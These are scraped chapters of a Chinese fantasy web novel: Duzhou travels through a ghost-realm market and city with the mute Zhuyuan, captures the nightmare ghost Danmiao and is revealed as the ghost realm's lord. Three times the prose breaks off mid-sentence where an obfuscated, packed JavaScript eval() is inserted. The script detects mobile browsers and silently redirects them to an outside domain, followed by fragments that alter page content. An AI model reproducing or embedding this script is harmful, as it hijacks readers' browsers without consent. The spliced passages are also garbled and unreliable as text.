“来赶紧的!” 正当鬼差来抓渡舟时,突然,血器场正中央那盏最大的红色烛火莫名其妙地跳动了一下。 众人抬眼望去,正纳闷,场内摇摇晃晃的烛火一瞬间尽数熄灭。 黑暗中,一双手轻轻搭在祝鸢腰间,脚下一轻,那熟悉的声音几乎是贴着她传来:“不要怕,跟我抓鬼。” “怎么回事儿!灯呢!!” 虽然看不见,也大概能想象场内是何等混乱。 约莫片刻,灯火重燃,公鸡骂骂咧咧地叫道:“喔!奇了怪了!这里头又没风,灯怎么突然灭了!” 他没看出来什么因果,又重复说:“喔喔!赶紧弄下去,放个新的上来!” 却没人动。 场上鸦雀无声,所有人的目光都停留在公鸡身后。 他摸着鸡脑袋不明所以地转过身,发出惊天动地的一声打鸣,由于半途强行憋了回去,听上去有点儿像打嗝。 渡舟那副“病秧子”盘腿坐在台上,模样跟刚才没什么区别。 不过,他周围盘踞着无数虚化的黑影,各个身高八尺青面獠牙。公鸡这一叫,其中一团黑影倏地蹿起几丈有余,近旁的一个小鬼闪躲不及,连声响都没发出来就被那黑影穿透躯体。 两只鬼很快合二为一,那黑影涨大了近乎一倍,餍足地用红舌头舔了舔尖牙,继续蜷缩到渡舟身边去了。 所有人都被眼前这一幕骇住了。 “梦、梦魔!”公鸡叫道。 底下的鬼七嘴八舌小声议论,祝鸢才现刚才自己是被渡舟带到台上来了,她站在渡舟身边,听出几分门道。 原来梦魔就是专靠人的梦供养起来的邪物,但这种邪物却极难得,只因所需之梦必须是极为可怖的噩梦,一百个人里面都不一定能供养出一个梦魔。 梦魔依靠宿主而生,所以能生出梦魔的人全都历经过世间极惨之事,夜夜噩梦,形容憔悴,面如枯槁。但梦魔反过来却能在极端情况下保护宿主,因为宿主一旦亡故,梦魔也会随之灰飞烟灭。 众鬼不约而同后退两步,公鸡镇定下来,叫道:“来人!把锁鬼链拿上来!” 头先的老鼠精排成一队抬着锁链上场,训练有素地将那黑漆漆的寒铁链缠绕在渡舟脚上。 渡舟微微睁开眼睛,梦魔们全都化作一缕黑烟缠绕进他的身体。他摇摇晃晃几下,祝鸢下意识扶住渡舟的肩膀,心中一跳,主君怎么会养出这么多只梦魔…… 有鬼叫道:“一个梦魔已经是修炼的无价之宝,这人竟然有七八只!” “有七八只梦魔缠身,竟然还没死??” “你们看他身边那人!听说梦魔修炼到一定程度,宿主往往生不如死,必须要有一个活下去的锚点支撑,可以是人,也可以是物。梦魔对宿主的锚点并无攻击性,甚至有的宿主养出来的梦魔,还会像保护宿主那样保护锚点。” “那小少年就是?” “看着像……” 祝鸢从没见过渡舟虚弱成这副模样,一方面她知道渡舟现在是假皮囊,一方面又忍不住被梦魔这种东西扰得心里七上八下。 主君他……真的应付得了这满城妖魔鬼怪吗? 祝鸢有点后悔刚才要让渡舟答应她救人了,她悄悄在渡舟掌心写字:“还好吗?” 渡舟的手微不可查地蜷缩了一下,这时公鸡敲锣打鼓道:“今个就到这儿!都散了散了!” 公鸡万万没想到,这毫不起眼的病秧子凡人竟然是天生至阴至邪之体,眼珠子一转不肯再卖。 有鬼啐道:“老鸡公!遇到好货就舍不得卖了?” 公鸡斜他一眼,喔喔叫道:“呦呵!你消受得起?” 众鬼你看我我看你,纷纷摇头。这样强大的梦魔,买回去万一被吃掉,不划算,太不划算。 “嘿!我看那老鸡公,八成是要把这人孝敬给河那边的妖主大人。” “那还用问吗!咱们鬼界,能一顿消受七八只梦魔的,也就只有咱们那位神通广大的大人了。” 渡舟听到这里似乎扯着唇角笑了一下,祝鸢却担心得不得了。 这些鬼口中的妖主应该就是那位无所不能的鬼界之主,掌管鬼界阴阳昏晓,天黑天亮全凭他一人心情。 完了完了,若是真将我们送去那位鬼界之主面前,岂不是死定了? 鬼界今日血器场匆匆歇业,一个至阴至邪的凡人之躯培育出数只梦魔的事很快传遍了无相城。 公鸡命鬼差将唐回等人押回后院,独留下渡舟跟祝鸢,招呼左右道:“把他俩都给我捆上!跟我走!” 渡舟那张脸苍白得像纸,抬头勾起唇角邪气地笑了笑:“她就不必了吧,你这锁鬼链对人又没用处。再说要是弄伤了她,我不保证梦魔会不会又出来。” 公鸡被这一笑弄得心里发毛,但这病秧子也并非胡言乱语,至阴至邪之体都是比鬼还要恐怖的疯子,他又将祝鸢打量几眼,狐疑道:“他是你什么人?” 渡舟看向祝鸢,收起嬉笑,轻声道:“倾慕之人。” 渡舟的眼中仿佛有千言万语,饶是祝鸢年幼无知,也被那滚烫而沉甸甸的目光看得心头狠狠一震。 主君演戏编瞎话也不必如此认真吧...... 公鸡瞪大眼睛嘎地叫了一嗓子,妥协道:“这个先不管,把那病秧子捆好了!” 有小鬼边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422202|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干活边问道:“老板,咱们这是要去哪儿?” 公鸡打量他道:“新来的?跟老板我去见见世面。” 渡舟摊开手脚任由那些老鼠精捆,得寸进尺道:“我身上养着梦魔,没力气,走不动,找顶轿子来。” 公鸡骂骂咧咧,在尝试数次都没能把渡舟从地上弄起来之后,还真找来两顶简易轿子。 公鸡坐在最前面领路,祝鸢跟渡舟则跟在后面。祝鸢沾渡舟的光坐上鬼界的轿子时,费了好大劲才忍住没问他们到底要被送到哪儿去。 几个小妖很是尽职尽责地驮着轿子跑得飞快,但轿身却出人意料得很稳。等出了须尽欢,祝鸢敏锐地发现这条路并不是他们来时的路。 路上一个人或是一只鬼都没有,前方蒙着厚重的大雾,就像天地万物都被一块湿漉漉的鸽子灰帕子压住了。 天光渐暗,这顶孤零零的轿子一头扎进浓雾里,再回头看,身后又很快被翻涌的雾气吞没。 原来根本没有路,雾中不辨东西,很快祝鸢就连轿子跟领路的公鸡都看不清。只有铁链偶尔发出清脆的一声碰撞,让祝鸢不至于觉得自己是在做梦。 她心中渐渐浮起不安,偏生这时候地面突然小幅度地抖了一下。这还没完,抖动很有节奏的一下接一下,就好像他们是被放在一个巨大的簸箕里,有人正拿着这个簸箕上下晃动。 “嘘!都别出声!”前方浓雾里传来公鸡久违的声音。 似乎有一列马队踢踢踏踏朝他们走过来,但又不像寻常的马,沉重而迟缓的脚步声越逼越近,祝鸢下意识地向身侧看了看,连渡舟都隐在浓雾里不见踪影。 祝鸢攥紧拳头,手心里冒出来一层薄汗。 突然,一只足有巴掌那么大的眼睛水灵灵地从浓雾里冒出来,直勾勾地望着祝鸢。 再往两边看,这东西竟然就只有这么一只眼睛! 救命! 祝鸢后知后觉地反应过来,刚才地面的抖动就是因为这东西在走路。 她心里刚喊完救命,一只大手隔着衣袖包住她冷汗涔涔的掌心,安抚性地拍了两下。虽然隔着雾气看不见脸,渡舟的声音却宛如一根定海神针落在她耳朵里:“别怕,这是巨菇妖,不会伤人。” 祝鸢咽了咽口水,攥住渡舟的衣角不放手。 而那只大得不得了的妖怪看了他们几眼,便直起身体继续向前走了。这雾气中不知道藏了多少大大小小的妖魔鬼怪,不过在这之后,祝鸢只是听见窸窸窣窣的声音,却没有一个妖怪再靠近。 不知走了多久,雾气渐渐稀薄,一个光怪陆离的世界宛如一副巨画徐徐展露在他们面前。 眼前是一个大到漫无边际的山谷,两岸断崖巨峰如刃,一条几乎毫无波澜的河水缓缓流过谷底。河岸开满了团团簇簇黑红两色的花朵,宛如浓稠的黑血流淌延申到尽头。 这里的所有景象都十分巨大且颜色诡异,无论什么东西似乎都沾点儿极深的血色,像赤红的火焰,像流动的黑金,像一只蛰伏黑暗时刻会张开血盆大口的巨兽。 至于其中幽灵遍布、鬼魅横生,反而不足为奇了。 19. 山谷巨龙 “咱们到了。”渡舟小声道。 这声音几乎是贴着她后背发出来的,祝鸢一转头,惊悚地发现她竟然是半挂在主君怀里。 刚才雾大看不清楚,原来渡舟一直就在她身边不到一掌之余。 祝鸢讨好地笑笑,小心翼翼地挪开一点儿距离。 公鸡清了清嗓子,命令小妖们放下轿子,走到渡舟面前凶狠地说道:“接下来的路,你走也得走,不走就把腿打断了拖着你走。” “好说。”渡舟很给面子地自己走下来。 公鸡看着眼前这个手无缚鸡之力的凡人,终于生出了一点儿疑窦,问道:“你不害怕?” 渡舟森然地笑了笑:“能养出梦魔的人,世上什么没见过,我还有什么好怕的。” 公鸡莫名后背发凉,指挥众人押着渡舟两人往前走。头先那个小鬼东张西望,好奇地问道:“老板,这是什么地方?” 公鸡回答:“蠢,这是忘川谷,无相渊之入口。看到前面那座大山没有?山下镇压的全都是上千年的厉鬼凶煞。” 小鬼接着问:“这就是忘川?我听说从忘川游下去就能投胎转世。” 公鸡嘿嘿奸笑道:“你试试。不过,你要是没投胎转世的命,那就得沉入忘川当肥料。” 祝鸢抬眼望去,只见正对着他们那道绿得发青发黑的山峰如同被利剑劈开,既高且险。横亘在他们与山峰之间的大河宽约几十丈,其水颜色幽深,其上有一吊桥。雾气太重,那吊桥就好像是悬在水面的一条白色细线。 公鸡领着手下,将他们押送上那座桥。 等上了桥,祝鸢才发现这桥上竟然熙熙攘攘,来往妖魔目不暇接。不过没有一个往他们这边看,全都目不斜视,一句话不说地走自己的路,整个桥面呈现出一种很是诡异的死寂。 这些“人”中,有眼球突出、舌头掉在地上的吊死鬼,也有美艳动人风情万种的女妖,还有无数说不上来样子的、不知道什么品种的精怪...... 走了十余步,对面行来一众婀娜多姿的女鬼,这些女鬼跟他们擦肩而过之际,末尾的一个有意无意地勾住了渡舟的胳膊,眼角飞出来一个能让人浑身起鸡皮疙瘩的媚笑。 渡舟不耐烦地挥袖道:“滚。” 那女鬼被推入水中,连水花也没溅起来便不见了。 祝鸢好奇地向下张望,想看看刚才公鸡说的当肥料是什么意思。谁知水面突然伸出来一双白森森的爪子,紧随其后的便是女鬼那张惨白凶煞的脸。 渡舟一把揽住祝鸢的肩膀往怀里带了带,似乎什么也没干,只听一声凄厉的尖叫,水面咕噜咕噜浮起一串气泡,女鬼就这么消失了。 这一声尖叫可谓掀起轩然大波,原本按部就班的队伍就像是突然断掉了,桥上所有鬼不约而同地望过来。 公鸡回过头,恨得牙痒痒。 渡舟举起手上的铁链,无辜道:“看我干嘛,你这锁鬼链不就是专杀鬼的?” 公鸡啐道:“真邪门了!一个女鬼看上你个病秧子什么了?” “老、老板......”小鬼惊恐道,“别说了,他们都过来了!” 不知道是被发现了至阴至邪之体,还是渡舟刚才“杀”了一只女鬼引发众怒。 总之,无数幽灵、鬼魂、精怪,全都一窝蜂地朝他们扑上来,吊桥发出不堪重负的吱呀声。 “老板怎么办!” 说不害怕是假的,祝鸢就算平时胆子再大,也才十六七岁,哪里见过如此场面。 眼前黑压压一片,祝鸢扯着渡舟往后退了两步,咽了咽口水,心道:“主、主君,不行咱们就跑吧......” 渡舟却丝毫不乱,稳稳当当地牵住她的手。 公鸡也慌了神,横下心道:“事到如今,咱们也只能把这小子撂下自己跑了!” 正要跑,一阵地动山摇—— 只见远处山谷那面黑色峭壁上,一条赤红色巨龙盘旋着在山峰上游走。雾气升腾弥漫,巨龙扬起头颅发出一声如雷贯耳的吼叫,大河也跟着泛起阵阵细纹涟漪。 一霎那间,所有妖邪厉鬼都停下脚步。片刻后,吊桥又恢复最初的平静。 祝鸢惊讶不已,她只是在话本子里见过龙图腾,想不到鬼界竟然有真龙。 公鸡擦了擦冒汗的鸡冠,自言自语道:“喔喔,还好烛龙大人现身,不然还真不知道怎么办......” “老板,这就是咱们那位妖主大人的爱宠吗?” 渡舟就像是听到了什么好笑的事情,突然笑出了声。公鸡不满道:“你笑什么?还不都是因为你!” 渡舟摇头道:“没什么,我就是想笑。” 公鸡哼了一声,领着他们继续往前走。 等好容易走完这吊桥来到山脚下,那条巨龙已经不见了。 下了吊桥之后那小鬼一直喋喋不休问东问西,公鸡得意地卖弄道:“妖主大人也是我等能见到的?咱们这次去,是要把这小子送到河对岸的鬼城,那里一定能卖个好价钱。” “老板,烛龙大人现身,那妖主大人一定也在鬼城吧?” “喔,应该是吧,妖主大人消失了五百多年,也就是最近才出现。”公鸡又想起什么,回头叮嘱道,“你们几个都给我小心着点儿!万一真撞见了妖主大人,依你们这道行,还不得被打牙祭!” 小鬼们缩了缩脖子,没走几步路又忍不住嘟囔:“咱们是鬼,凭什么一只妖来管......” 公鸡面如菜色,吓得嘎了一声,压低声音道:“你们以为无相城是谁建的!都给我住嘴!” 穿过一个黑漆漆的山洞,约莫半炷香后,他们来到一处看上去十分荒凉的地方,勉强算是个城池。 说荒凉,是因为这里压根不像无相城那样繁华,几乎没什么人,城门大开,没有守卫。从他们的位置刚好能一览无余,城中风声萧瑟,连个鬼影都没有。 他们并没有进城,而是在原地等了片刻。这时,来了个模样很讨喜的年轻人。 年轻人跟公鸡不知道说了些什么,只见公鸡喜笑颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427264|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开地招呼着手下走了。年轻人转向他们,很有礼貌地说道:“跟我走吧。” 甫一踏进那道城门,祝鸢便感觉到无数交杂缠绕的强大鬼气扑面而来。尖叫和笑声混杂在头顶上空,时不时便有一团黑影夹杂着汹涌的戾气呼啸而过,哪里是连鬼影都没有,分明全是鬼! 这城古怪,在门外什么也看不见,等走进来才发现掉进了鬼老窝。 渡舟神情很不好看,那年轻人回头道:“怎么不走了?” 渡舟皱着眉,轻轻摇了摇头,自言自语道:“太脏了。” “什么?” 渡舟突然弯了弯腰将祝鸢打横抱起,她长这么大还没被人抱过,险些原地弹起来,渡舟已经自顾自地迈开两条长腿往外走了。 年轻人目不斜视,没有说话。 祝鸢实实在在地愣了一会儿,正想说什么,渡舟却道:“等会儿放你下来。” 祝鸢突然很不合时宜地想到那日说的“谁给她买烤饼,谁就是她亲爹”这样的胡话。 总不能……主君真要当我亲爹吧? 渡舟的怀里实在太舒服,加上祝鸢这一路太累,总之等她迷迷糊糊醒过来,已经置身于一处山洞中。 那带路的年轻人已经不见了,只剩下她跟渡舟两个人。 “醒了?”渡舟坐在一旁低下头看她。 祝鸢看看渡舟,又望望山洞顶,不知道为什么,她心里突然浮上来一股莫名其妙的熟悉感。 她缓缓坐起来,才发现身上盖着渡舟的外袍,忙受宠若惊地把衣服还给对方。这里没有第三个人,祝鸢终于有时间问话,手势打得飞快:“主君,我想明白了。你说的抓鬼,是不是要抓魇鬼丹妙?” 渡舟接了外袍也没穿,放在一边笑了笑:“嗯。” 祝鸢得意地眨眨眼睛,又比划道:“我猜是因为魇鬼最需要梦魔疗伤,所以你才放出梦魔,想引他上钩,对吗?可是咱们为什么不留在无相城呢,这里看起来很危险。” 渡舟不知从哪儿又变出来那根笛子,在手指间转着玩儿:“丹妙十分狡猾,他是不会去须尽欢那种人多眼杂的地方的。这里虽然危险,但是对于丹妙那种老泥鳅来说,还没有鬼能把他一口吞了。” 祝鸢面露担忧之色,渡舟问道:“怎么了?” “可是这里有只大妖,还有那条巨龙,我怕。” “怕那条龙?不用怕,它不随便咬人。” 祝鸢摇摇头,指了指渡舟:“怕主君受伤。主君要是受伤,我会难过。” 渡舟的表情一瞬间有点复杂,不知是喜是苦,他抬手轻轻碰了碰祝鸢的长发,就只是碰了碰,便立刻收回手,温声宽慰道:“别怕,我不会受伤的,也不会让你受伤,更不会......” 祝鸢偏了偏脑袋,什么? 渡舟微笑道:“没什么。等会儿无论发生什么事,都要跟在我身边,记住了吗?” 祝鸢点点头:“记住了。” 就像是提前安排好的一样,渡舟刚说完,洞中便来了人。 20. 鬼界之主 一个打扮得花红柳绿,把一年四季都穿在身上的男人被一群几乎什么都没穿的女鬼簇拥着飘上来。 他裹着厚厚的披风,腰间挂着一根像是人骨头做的笛子,很是粗糙。除此之外,浑身上下只露出一张磕磕巴巴的丑脸。 更夸张的是,脑袋上竟然插着足足一个手臂那么长的翎羽。伴随着这一团五颜六色靠近的,还有浓重的脂粉香气和隐隐约约的尸臭。 “你就是那个能养出梦魔的至阴至邪之体?”男人傲慢道。 渡舟略微抬了抬眼皮,没回答。 “妖主大人问你话呢!”女鬼骂道。 妖、妖主? 祝鸢难以置信地看着眼前这实在是有点儿猥琐的男人,万万没想到这就是传说中的鬼界之主。虽然长得够凶狠,气派够嚣张,祝鸢总觉得差了点儿什么。再说他那根粗制滥造的笛子,还没主君的好看呢。 渡舟压根动都没动,不耐烦地回了句:“起开。” 妖主怒气冲冲,双臂一挥,刚才说话的女鬼被他当场掐死。他竟然就这么将对方囫囵塞进口中吃了个干净,砸吧砸吧嘴,令人恶寒道:“还没人敢这么跟本妖主说话!” “哦?那马上就有第二个了。” “什么意思?” “哈哈哈哈!报应!真是报应!!!” 伴随着这再熟悉不过的尖笑声,一团黑影呼啸着冲进山洞,他贪婪地看了渡舟一眼,自言自语道:“七八个梦魔!老子赚大发了!” 来了。 妖主看着丹妙这位不速之客,骂骂咧咧道:“你又是何人?敢在老子的地盘撒野!” “我是你祖宗!” “大胆!来人!将这几个人都给本尊拿下!” 无数鬼将一拥而入,魇鬼笑得十分猖獗,祝鸢甚至怀疑县令大人的下巴都要被魇鬼笑脱臼了。 他抬起头,张开双臂高呼:“渡舟!你在人间过得好啊,瞧瞧!老巢被人占了吧!报应!!” 妖主急赤白脸地喝道:“还等什么!都给本尊上!!” “就你个点心废物!也好意思占鬼界之主的名头?” 等等,丹妙这话是什么意思...... 祝鸢不解地看向渡舟,余光却瞥见刚才带他们进来的那个年轻人悄悄从洞口溜进来。 丹妙跟众鬼将已经打得热火朝天,那位妖主很是不爽地坐在一旁跷着二郎腿,女鬼们跟没有骨头似的贴在他身上。 不过丹妙看上去并不是真的想跟这些鬼将打,再说他确实像活泥鳅一样捉不住,他的目标自始至终都在那个能养出梦魔的凡人身上。 丹妙兴奋地舔了舔嘴角:“梦魔,是我的啦!” 妖主腾得一下站起来:“你敢!那是本尊今夜要吃的!” 丹妙回头破口大骂:“妈的,你他妈装上瘾了!告诉你,就算渡舟亲自站到我面前,这梦魔我也势在必得!” “拦住他!快拦住他!!!” 丹妙一跃而起,跟一股旋风似的朝着猎物冲过去,眼看近在咫尺,渡舟缓缓抬起眼睛,阴恻恻地咧嘴笑道:“这可是你说的。” 丹妙一时间没反应过来。 他目光下移,看到渡舟手上那根笛子时脸色大变,扭头便跑。 轰! 一声巨响几乎要震碎心脏,洞口突然塌了。 此间漆黑一片,只有丹妙的吼叫声跟无头苍蝇一样在洞中乱窜:“操!天杀的渡舟!!” 与此同时还有妖主的怒吼声,女鬼的尖叫声,简直能把山洞都整个掀翻。 “吵死了!” 这一声低喝下,祝鸢根本不知道发生了什么。总之一阵嘎巴嘎巴的骨头断裂声过后,突然间就鸦雀无声。 少顷,烛火亮起。 祝鸢惊恐地发现眼前竟不剩一个全乎人——除了占用了县令身体的丹妙。 刚才几十上百的鬼将全都不见了,取而代之的是地面上一层厚厚的白色齑粉。 祝鸢第一反应是去找渡舟,等她切切实实地摸到渡舟的胳膊,借着微光看到渡舟那张病秧子脸,眼泪突然就止不住地往下掉。 渡舟眼中划过一丝慌张,轻声问道:“怎么了?怎么哭了?” 祝鸢哭得止不住。 主君,你吓死我了。 渡舟耐心地给她擦眼泪,低声道:“是我太凶了?我下次注意,不用这种法术。” 祝鸢摇摇头,拍了拍自己心口,比划道:“我还以为,你死了......” 渡舟眸光微滞,低下头照常给她擦眼泪:“我的错。” “有完没完!”丹妙被钉在墙上,很不体面地骂道,“呸!她才几岁?渡舟你要不要脸!” 刚才祝鸢看见的年轻人举着烛火走近,顺手把烛台放在了丹妙脑袋上,恭敬道:“大人。” 带他们进城的竟然是主君的人? 祝鸢吸了吸鼻子,眼睛睁得老大,暗道:“牵机营的手到底伸得多长啊......” “办得不错。”渡舟波澜不惊地转过头,看向丹妙,冷声道,“想死你就多说两句。” 丹妙瞬间变奄菜,又心有不甘,抬了抬下巴:“那冒牌货你不杀,光盯着我干什么?” 只见丹妙对面石壁上,也十分对称地钉着一个人。 不,是三个。 谁能知道堂堂无相妖主,那张披风底下藏着三只妖呢? 这三只妖怪整整齐齐地排成一排,只有第一个黄皮子妖修炼出了人形,其余两只竟然还都是本相,瑟瑟发抖地求饶道:“上仙饶命!上仙饶命呐!我们就是——” “就是混口饭吃!这地方——” “这地方活不下去!” 三只妖轮流痛哭流涕,丹妙大笑道:“哈哈哈哈!上仙?笑死个人了!喂,渡舟你真出息了,都有人叫你上仙了。哼!一群傻狗!睁大你们的狗眼看看渡舟腰间是什么法器!学人都学不来,装神弄鬼舞到正主面前,且等死吧!” 那黄皮子妖最先反应过来,盯着渡舟那根笛子叫道:“……鬼、鬼笛昆仲!他是——” 渡舟像是终于忍不了了,拂袖而过,那三个妖连同话多的丹妙都被封住喋喋不休的嘴巴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432821|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他跟来时一样抱起目瞪口呆的祝鸢,对那年轻人道:“丹妙带走,剩下的自己看着办。” “是,大人。” 渡舟就这么一路抱着祝鸢走出山洞,鬼城之景纵收眼底。放眼望去几乎看不到一丁点儿花草树木,遮天蔽日的黑雾之下,全都是断壁残垣,全都是游荡的厉鬼精怪,妖气四溢,鬼气森森。 跟这里一比,无相城反倒是小巫见大巫了。 不约而同的,这些东西离他们都相距甚远。 祝鸢自打刚才开始脑子里就一团乱,她努力理了理......发现更乱了。 至于渡舟,则一言不发走得很快。不多时,便来到了刚才那座桥前面。 祝鸢揉揉眼睛,发现桥面上空空荡荡,什么东西都没有。 不光桥面,整个山谷里都什么也没有,只有一丝阴风卷着黑红色的花瓣在空中飞舞,如同大火焚烧过后的残渣灰烬。 渡舟放下祝鸢,牵着她走上吊桥,说道:“这叫断魂桥,那条河名为忘川,这些花是鬼界曼陀罗。那座山虽然的确能通向无相渊入口,但无相渊已经几百年没有开启过。至于你看到的那条巨龙,其实是条赤红色的蟒蛇,嘴挑,不吃人。” 主君这是在跟我解释? 走到桥中央,祝鸢才发现不是没有人,而是所有幽灵鬼魂、精怪妖魔,全都战战兢兢地匍匐在忘川水中或是河道两岸。 渡舟啧了一声,压着眉心的怒意挥袖道:“都起来,别挡路。” 一声令下,这些非人之物全都很麻溜地滚开五步远,齐声叩首道:“妖主大人慢走!” 祝鸢:“......” 她现在逃,还来得及吗? 祝鸢屏住呼吸,有点庆幸自己不会说话,脑海里则闪回过无数个声音叫道—— 主君是鬼界之主?? 等等,主君是妖?? 主君难道不是修为高深的修士吗? 不对,妖怪为什么要去人间做官啊! 还是声名狼藉的奸臣?还每天都要替皇帝陛下批复奏折?? 祝鸢感觉她也跟那些曼陀罗花一样在半空中飘,正当飘得心里七上八下之际,却发现渡舟在河水中的倒影有点奇怪。 她歪着头仔细辨认,水里的人是渡舟,但又不像。那少年至多十六,皮肤很白,穿的是粗布麻衣,眉宇间萦绕着一股淡淡的戾气。 少年就这么跷着腿坐在翠竹上,眼神冷漠孤傲。 祝鸢呼吸一滞,不知怎的手心有点儿冒冷汗。 一朵花瓣突然落入水中,搅碎了那张青涩年少的脸,渡舟淡淡道:“幻像惑人。” 祝鸢不信那是幻像,顾不得什么妖主什么鬼王,打着手势问:“主君,那是你吗?” 渡舟沉默片刻,说道:“忘川之水,能看清人的前世轮回。” 那是跟她年纪一般大的主君,这种感觉很奇妙,就好像隔着忘川跟前世的人四目相对,种种欲说还休全在那泛起涟漪的一瞥间消融。 奇怪的是,他们并肩而立,水中却只有渡舟一人的倒影。 21. 丹青坊 待回到无相城,须尽欢还是一如既往的热闹,虽然血器场已经闭幕,歌舞声却不停。 那管事儿的公鸡喝得醉醺醺,余光看见祝鸢,鸡冠跟着晃了晃,大着舌头口齿不清道:“你……你不是那谁……你怎么逃出来的?” 公鸡的目光又从祝鸢移到渡舟身上,酒醒了些,但还没完全醒,困惑地揉了揉眼睛。 “怪事,妖主大人怎么……嗝!怎么没把你们吃了……” 渡舟没说话,笛子在掌心随意敲了敲。 那公鸡愈发狐疑,又从渡舟看到他手中的笛子,越看眼睛睁得越大,简直要目呲欲裂之际,人声鼎沸中传来一声高呼—— “都让开!让开!城主到!!” 犹如潮落潮起,人声安静一瞬又顷刻间沸满盈天。只见群鬼簇拥之中缓步行来一人,中等身高,面容俊雅,杏眼薄唇,细看颇有几分女子阴柔之美。 他穿着件绛蓝外袍,上锈金线云纹,衣着打扮虽不过分华丽张扬,举手投足却有十分的贵气,和这四周之景格格不入。 那人一进这里便将目光锁定在渡舟身上,等他走近些,眉眼突然灿然一笑,温声道:“师父,好久不见了。” 话音落地,鸦雀无声。 无相城城主叫主君……师父? 祝鸢自从知道了渡舟就是那位鬼界之主,此时已经能相当平静地接受这两个人的师徒关系。 渡舟微微蹙眉,似乎对这个称呼并不满意。 “城主的师父?那是......” “是无相妖主大人!是妖主大人!”众鬼兴奋叫道。 “我的妈呀这是真的吗?快掐我两把!” “你他妈是鬼!掐你会痛吗?!” “听说妖主大人有一骨笛,名叫昆仲,你们看是不是那根?” “......颜色青白,如玉似骨,是昆仲骨笛没错!” 祝鸢眼皮狠狠一跳,想起那日在乱葬岗,竟然还让渡舟用这根笛子刨坟挖尸…… 这些鬼无不充满崇拜地望着渡舟,很快须尽欢门口便水泄不通,不过大多数鬼都把眼前这位妖主跟河对岸鬼城之中的混为一谈,兴奋地脸冒绿光。 渡舟置之不理,并不多做解释,望着来人淡淡道:“你这城主,当得好生自在。” 男子当着这么多人被驳了面子也丝毫不生气,笑容未减,柔声道:“师父,你也知道这地方鱼龙混杂,难管。” 渡舟眯起眼睛道:“哦?难管?” 对面的男子不露声色瞥了一眼祝鸢,重新抬起头道:“师父,今日是我没有管教好城中人,竟将师父......” 他说到这里停顿片刻,微笑道:“……和您的朋友都带来了。” 渡舟不给面子,语气阴沉道:“折杞,你知道我是来做什么。” 折杞点头道:“自然。” 折杞微一抬首,众鬼火速让开一条通道:“诸位大人慢走!” 鬼声震天,三人一同往须尽欢阁楼去了。 渡舟对这里确实熟悉,无需折杞带路,便径直推开一间房门,祝鸢惊讶地发现这里和牵机营房间陈设简直一模一样。 折杞道:“方才人多不便过问,这位是......” 渡舟道:“此时也不便问。” 折杞果然不再问了。 渡舟抬手在祝鸢眼前一抹,鬼气散去,露出祝鸢原本那张勉强算是清秀的脸来。 折杞道:“师父,您来找我,何必这么麻烦?” 渡舟拂袖坐下,挖苦道:“不这么麻烦,我怎知须尽欢做起了这等脏事。” 无相城是师父建的,须尽欢的匾是师父题的,他也早知无相城都在做什么买卖。 大家都是妖魔鬼怪,有的爱吃人,有的爱杀人,难道还指望无相城里守什么规矩吗? 折杞知渡舟脾性,心中纳闷师父平日也不见得管他这地界,怎么今日突然菩萨上身? 但这话折杞是万万不敢说出口的,只好打着哈哈道:“师父教训的是,今后我便让他们撤了血器场。” 渡舟不置可否,折杞在他不远处坐下:“师父今日去鬼城,是抓魇鬼丹妙?” 正谈话间,外面突然传来一阵骚动。 祝鸢抬头望去,只见两个小鬼押着一个女鬼跟一个长胡子道士走上前来:“城主大人,我们抓住两个鬼鬼祟祟的毛贼!” 这话说得好笑,鬼也说鬼鬼祟祟。 祝鸢暗自捧腹,却见被押着的女鬼身量高挑,浓妆艳抹甚是美貌。 祝鸢喜出外望,对方认出她来,连声叫道:“小哑巴?你怎么会在这儿!” “衙门的人???”另一位长胡子道士抬头,却也是半个熟人,正是姜宅一案请来捉妖的张仙师。 原来上官跟祝鸢分开后,本来一路跟着马车,却在须尽欢门口遇见了张仙师。 二人算半个同行,从前就相识。本来话不投机半句多,上官却想看看张仙师又在憋什么坏,一路尾随,却发现对方似乎跟九洲城凤尾花钿一事有关。 但好巧不巧,二人刚到人皮坊,便被折杞手下双双捉住。 “哦,原来都是熟人。”折杞笑道,“下去吧。” 那两名小鬼松开他们,恭敬退下了。 上官一得自由,便抓住祝鸢将她强行转了个圈儿,左看右看,问道:“没有受伤吧?你这丫头——” 话未说完,突然感到一道刺眼的目光正落在自己身上,上官浑身不自在,旁若无人继续问道:“这人是谁?你怎么跟他混在一起?” 祝鸢示意他别再说,上官环顾一周,警惕道:“那些鬼头叫他城主,八成不是好人,离他远点。” “哦,是不是也要离我远点了?” “那自然是——” 上官扭过头,惊悚地发现渡舟就端坐在堂上。渡舟恢复真容,上官腿一软,惊道:“主……主君?!” 